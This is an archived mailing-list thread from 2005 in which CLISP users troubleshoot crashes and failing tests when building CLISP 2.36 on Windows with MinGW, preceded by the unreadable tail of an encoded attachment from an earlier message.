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 ------=_NextPart_000_0000_00006C4E.00003C00-- From sds@gnu.org Sun Dec 25 07:44:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqY3F-0005sk-UG for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 07:44:49 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqY3C-0008AQ-D5 for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 07:44:50 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 10:44:42 -0500 X-IronPort-AV: i="3.99,292,1131339600"; d="scan'208"; a="146182695:sNHT23526612" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0MKwtQ-1Eq09W2IMj-0000jf@mrelayeu.kundenserver.de> (Frank Buss's message of "Sat, 24 Dec 2005 04:33:06 +0100") References: <0MKwtQ-1Eq09W2IMj-0000jf@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 07:45:07 2005 X-Original-Date: Sun, 25 Dec 2005 10:43:27 -0500 > * Frank Buss [2005-12-24 04:33:06 +0100]: > > I'm trying to write a small howto for building CLISP from scratch on a > Windows system, because I didn't found such a documentation. This is > the start: > > http://www.frank-buss.de/lisp/clisp.html why do you have both --with-readline and --without-readline ? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://ffii.org/ http://truepeace.org http://www.camera.org http://www.honestreporting.com http://pmw.org.il/ Bus error -- please leave by the rear door. From sds@gnu.org Sun Dec 25 08:41:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqYw2-0007au-Mv for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 08:41:26 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqYvx-0000UA-QW for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 08:41:26 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp02.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 11:41:16 -0500 X-IronPort-AV: i="3.99,292,1131339600"; d="scan'208"; a="188452346:sNHT32623332" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0MKwtQ-1Eq09W2IMj-0000jf@mrelayeu.kundenserver.de> (Frank Buss's message of "Sat, 24 Dec 2005 04:33:06 +0100") References: <0MKwtQ-1Eq09W2IMj-0000jf@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 08:42:02 2005 X-Original-Date: Sun, 25 Dec 2005 11:40:01 -0500 > * Frank Buss [2005-12-24 04:33:06 +0100]: > > http://www.frank-buss.de/lisp/clisp.html it would be nice if you linked to CLISP from that page and linked to that page from http://www.frank-buss.de/lisp/. > But it crashs while building. The last output lines: > > RUN-TEST: started # > (DEFPARAMETER *SERVER* (SOCKET-SERVER)) > EQL-OK: *SERVER* > (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0)) > EQUAL-OK: (NIL 0) > (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*) > "localhost" :TIMEOUT 0)) > EQL-OK: *SOCKET-1* > (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO))) > EQL-OK: *STATUS-ARG* > (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) > EQL-OK: T > (CDR (ASSOC *SERVER* *STATUS-ARG*)) > ERROR!! NIL should be T ! > > *** - handle_fault error2 ! address = 0xd21000 not in > [0x19d70000,0x19fa6804) ! > SIGSEGV cannot be cured. Fault address = 0xd21000. > Permanently allocated: 87648 bytes. > Currently in use: 4709064 bytes. > Free space: 706523 bytes. > make[1]: *** [tests] Error 5 > make[1]: Leaving directory `/home/Frank/clisp-2.36/clisp-gui/tests' > make: *** [check-tests] Error 2 I cannot reproduce this. I use cygwin and build the mingw version using "gcc -mno-cygwin". please try building with -g (configure --with-debug or just edit the Makefile) and debug the crash - at least supply the stack trace to me. Yaroslav, do you observe this crash? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.iris.org.il http://www.palestinefacts.org/ http://www.camera.org http://www.honestreporting.com http://pmw.org.il/ I'd give my right arm to be ambidextrous. From fb@frank-buss.de Sun Dec 25 09:37:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqZny-00017u-0n for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 09:37:10 -0800 Received: from moutng.kundenserver.de ([212.227.126.183]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqZnw-0001P3-AX for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 09:37:10 -0800 Received: from [81.173.179.33] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu7) with ESMTP (Nemesis), id 0ML2Dk-1EqZnt35X9-0005sm; Sun, 25 Dec 2005 18:37:05 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYJcgfky8ONoCKURPeYV/VXJM0qjwABehbQ Message-ID: <0ML2Dk-1EqZnt35X9-0005sm@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] RE: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 09:38:01 2005 X-Original-Date: Sun, 25 Dec 2005 18:37:06 +0100 > it would be nice if you linked to CLISP from that page > and linked to that page from http://www.frank-buss.de/lisp/. I've added a link to CLISP, but currently it is only kind of internal = until it works, so I didn't add a link from my lisp index page. > I cannot reproduce this. I've removed the --width-readline. There were some other problems, = because I have cygwin on the same system and the system path was set to it, which could caused some problems. I've fixed the howto at http://www.frank-buss.de/lisp/clisp.html , removed the clisp-2.36 = directory and tried it again, now it crashs at another position: EQL-OK: T (REMF PL 'Z) EQL-OK: NIL (REMF PL 'C) EQL-OK: T (GETF PL 'C) EQL-OK: 16 (REMF PL 'C) EQL-OK: T (REMF PL 'C) EQL-OK: NIL (GETF PL 'D) EQL-OK: 13 (SETF (GETF PL 'D) 100) EQL-OK: 100 (GETF PL 'D) EQL-OK: 100 (REMF PL 'D) EQL-OK: T (REMF PL 'D) EQL-OK: T (GETF PL 'B) EQL-OK: 11 PL EQUAL-OK: (A 10 B 11 A 14 B 15) (UNINTERN 'FOO) EQL-OK: T (UNINTERN 'BAR) EQL-OK: T (UNWIND-PROTECT (LET ((FORMS '((DEFSTRUCT FOO A B) (DEFSTRUCT (BAR = (:INCLUDE FOO ) (:CONC-NAME FOO-)) C) (DEFUN QUUX (X) (FOO-A X)) (DEFUN FROBOZZ = (X Y) (SETF (F OO-A X) Y)) (LIST (QUUX (MAKE-FOO :A 1)) (QUUX (MAKE-BAR = :A 2)) (FROBOZZ (MAKE-F OO) 10) (FROBOZZ (MAKE-BAR) 20))))) (LIST (EVAL `(PROGN ,@FORMS)) (FUNCALL (COMP ILE NIL `(LAMBDA NIL ,@FORMS))))) (FMAKUNBOUND 'QUUX) (FMAKUNBOUND 'FROBOZZ) (FM AKUNBOUND 'FOO-A) (FMAKUNBOUND 'FOO-B) (FMAKUNBOUND 'FOO-C)) *** - handle_fault error2 ! address =3D 0x19003d50 not in [0x19d70000,0x19fa46b8) ! SIGSEGV cannot be cured. Fault address =3D 0x19003d50. Permanently allocated: 87648 bytes. Currently in use: 5395172 bytes. Free space: 0 bytes. *** - handle_fault error2 ! address =3D 0x19003d50 not in [0x19d70000,0x19fa46b8) ! SIGSEGV cannot be cured. Fault address =3D 0x19003d50. Permanently allocated: 87648 bytes. Currently in use: 5395172 bytes. Free space: 0 bytes. make[1]: *** [tests] Error 5 make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' make: *** [check-tests] Error 2 > I use cygwin and build the mingw version using "gcc -mno-cygwin". > please try building with -g (configure --with-debug or just edit the > Makefile) and debug the crash - at least supply the stack trace to me. thanks, I'll try the --with-debug now. Perhaps it is related to my = machine? It is a multiprocessor system (not really, it is the Intel = Hyper-Threading: two virtual processors within one processor, but Windows shows 2 CPUs in task manager). --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From sds@gnu.org Sun Dec 25 09:55:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eqa5t-0001fr-03 for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 09:55:41 -0800 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eqa5e-0007Rn-7G for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 09:55:41 -0800 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Dec 2005 12:55:17 -0500 X-IronPort-AV: i="3.99,292,1131339600"; d="scan'208"; a="146206893:sNHT22531842" To: clisp-list@lists.sourceforge.net, "Frank Buss" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <0ML2Dk-1EqZnt35X9-0005sm@mrelayeu.kundenserver.de> (Frank Buss's message of "Sun, 25 Dec 2005 18:37:06 +0100") References: <0ML2Dk-1EqZnt35X9-0005sm@mrelayeu.kundenserver.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Frank Buss" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 09:56:03 2005 X-Original-Date: Sun, 25 Dec 2005 12:54:02 -0500 > * Frank Buss [2005-12-25 18:37:06 +0100]: > > >> I use cygwin and build the mingw version using "gcc -mno-cygwin". >> please try building with -g (configure --with-debug or just edit the >> Makefile) and debug the crash - at least supply the stack trace to me. > > thanks, I'll try the --with-debug now. Perhaps it is related to my > machine? It is a multiprocessor system (not really, it is the Intel > Hyper-Threading: two virtual processors within one processor, but > Windows shows 2 CPUs in task manager). this should not matter, but who really knows... -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.mideasttruth.com/ http://pmw.org.il/ http://www.palestinefacts.org/ http://www.iris.org.il http://www.memri.org/ Isn't "Microsoft Works" an advertisement lie? From fb@frank-buss.de Sun Dec 25 13:16:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqdE0-0008EI-SR for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 13:16:16 -0800 Received: from moutng.kundenserver.de ([212.227.126.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqdDz-0005mO-8u for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 13:16:16 -0800 Received: from [81.173.179.33] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu3) with ESMTP (Nemesis), id 0MKxQS-1EqdDy0rLt-0000cB; Sun, 25 Dec 2005 22:16:14 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYJfF2+atxd29F2SjGCtR3+qwbr4AAGwqwA Message-ID: <0MKxQS-1EqdDy0rLt-0000cB@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] RE: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 13:17:03 2005 X-Original-Date: Sun, 25 Dec 2005 22:16:12 +0100 Ok, I've compiled it with --with-debug, the rest like described at http://www.frank-buss.de/lisp/clisp.html . Now it doesn't crash, but = some tests fails: Real time: 171.09375 sec. Run time: 164.34375 sec. Space: 726564992 Bytes GC: 687, GC time: 62.15625 sec. 3 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; = exit 1) Test failed: -rw-r--r-- 1 Frank Administ 1013 Dec 25 20:10 path.erg -rw-r--r-- 1 Frank Administ 88 Dec 25 20:10 socket.erg To see which tests failed, type cat /clisp-2.36/clisp-gui/tests/*.erg make[1]: *** [compare] Error 1 make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' make: *** [check-tests] Error 2 $ cat /clisp-2.36/clisp-gui/tests/*.erg Form: (UNWIND-PROTECT (PROGN (SETF (LOGICAL-PATHNAME-TRANSLATIONS "FOO") = NIL (GETENV "LOGICAL_HOST_FOO") (WRITE-TO-STRING '(("FOO:**;*" = "/foo/**/*")))) (AND (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO") (CADAR (LOGICAL-PATHNAME-TRANSLATIONS "FOO")))) (SETF (GETENV = "LOGICAL_HOST_FOO") NIL)) CORRECT: "/foo/**/*" CLISP : ERROR SYSTEM::SETENV ("LOGICAL_HOST_FOO" NIL): out of memory OUT: "[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO\" NIL): out of = memory " Form: (UNWIND-PROTECT (PROGN (SETF (LOGICAL-PATHNAME-TRANSLATIONS "FOO") = NIL (GETENV "LOGICAL_HOST_FOO_FROM") "FOO:**;*" (GETENV = "LOGICAL_HOST_FOO_TO") "/foo/**/*") (AND (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO") (CADAR (LOGICAL-PATHNAME-TRANSLATIONS "FOO")))) (SETF (GETENV "LOGICAL_HOST_FOO_FROM") NIL (GETENV "LOGICAL_HOST_FOO_TO") NIL)) CORRECT: "/foo/**/*" CLISP : ERROR SYSTEM::SETENV ("LOGICAL_HOST_FOO_FROM" NIL): out of memory OUT: "[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO_FROM\" NIL): out of memory " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :INPUT CLISP : NIL 0 I don't understand the out of memory error. Is 2 GB RAM not enough for compiling and testing CLISP? I'll try it without "--with-debug" now on = my laptop to test if the problem is related to my computer. Is there any working manual how to compile CLISP on Windows? I can use Cygwin, too, if MinGW is not supported. Or I can use other configure options, if there are problems. How does the configure line look like = for the released version on Sourceforge? --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From fb@frank-buss.de Sun Dec 25 15:28:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EqfIP-0004K2-2Y for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 15:28:57 -0800 Received: from moutng.kundenserver.de ([212.227.126.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EqfIN-0008JM-5i for clisp-list@lists.sourceforge.net; Sun, 25 Dec 2005 15:28:57 -0800 Received: from [81.173.179.33] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu1) with ESMTP (Nemesis), id 0MKwpI-1EqfIM11IK-00077N; Mon, 26 Dec 2005 00:28:54 +0100 From: "Frank Buss" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYJfF2+atxd29F2SjGCtR3+qwbr4AALdjjQ In-Reply-To: Message-ID: <0MKwpI-1EqfIM11IK-00077N@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] RE: Building CLISP on Windows fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 25 15:29:01 2005 X-Original-Date: Mon, 26 Dec 2005 00:28:55 +0100 > > thanks, I'll try the --with-debug now. Perhaps it is related to my > > machine? It is a multiprocessor system (not really, it is the Intel > > Hyper-Threading: two virtual processors within one processor, but > > Windows shows 2 CPUs in task manager). >=20 > this should not matter, but who really knows... you are right, it doesn't matter. On my laptop it crashes, too, without = the debug switch: EQL-OK: ERROR (MACROEXPAND-1 '(PUSH (FOO) L)) EQUAL-OK: (SETQ L (CONS (FOO) L)) (MACROEXPAND-1 '(POP L)) EQUAL-OK: (PROG1 (CAR L) (SETQ L (CDR L))) (MACROEXPAND-1 '(PUSHNEW (FOO) L)) EQUAL-OK: (SETQ L (ADJOIN (FOO) L)) (MACROEXPAND-1 '(INCF X)) EQUAL-OK: (SETQ X (+ X 1)) (MACROEXPAND-1 '(SETF L (FOO))) EQUAL-OK: (SETQ L (FOO)) (MACROEXPAND-1 '(SETF (VALUES-LIST L) (FOO))) EQUAL-OK: (VALUES-LIST (SETF L (MULTIPLE-VALUE-LIST (FOO)))) (DEFINE-SETF-EXPANDER BOTHVARS (X Y) (LET ((G (GENSYM))) (VALUES 'NIL = 'NIL (LIST G) `(PROGN (SETQ ,X ,G ,Y ,G)) X))) EQL-OK: BOTHVARS (LET (A B) (SETF (BOTHVARS A B) 'NIL) (PUSH (MAKE-ARRAY 2) (BOTHVARS A = B)) (EQ A B)) EQL-OK: T (SETF (DOCUMENTATION (LAMBDA NIL 'ABAZONK) 'FUNCTION) "abazonk doc") EQUAL-OK: "abazonk doc" (DOCUMENTATION (LAMBDA NIL 'BAZONK) 'FUNCTION) *** - handle_fault error2 ! address =3D 0x40c2804 not in [0x19d70000,0x19fa369c) ! SIGSEGV cannot be cured. Fault address =3D 0x40c2804. Permanently allocated: 87648 bytes. Currently in use: 5343600 bytes. Free space: 41247 bytes. make[1]: *** [tests] Error 5 make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests' make: *** [check-tests] Error 2 I've tried the same (without debug option) again on my PC and it crashes = at another position: EQL-OK: ERROR (LET ((V '(A B C)) (VAL '(3 2 1))) (PROGV V VAL (MAPCAR #'EVAL V))) EQUAL-OK: (3 2 1) (DEFUN PLUS (&REST ARGS) (APPLY #'+ ARGS)) EQL-OK: PLUS (FLET ((PLUS (A B) (+ A 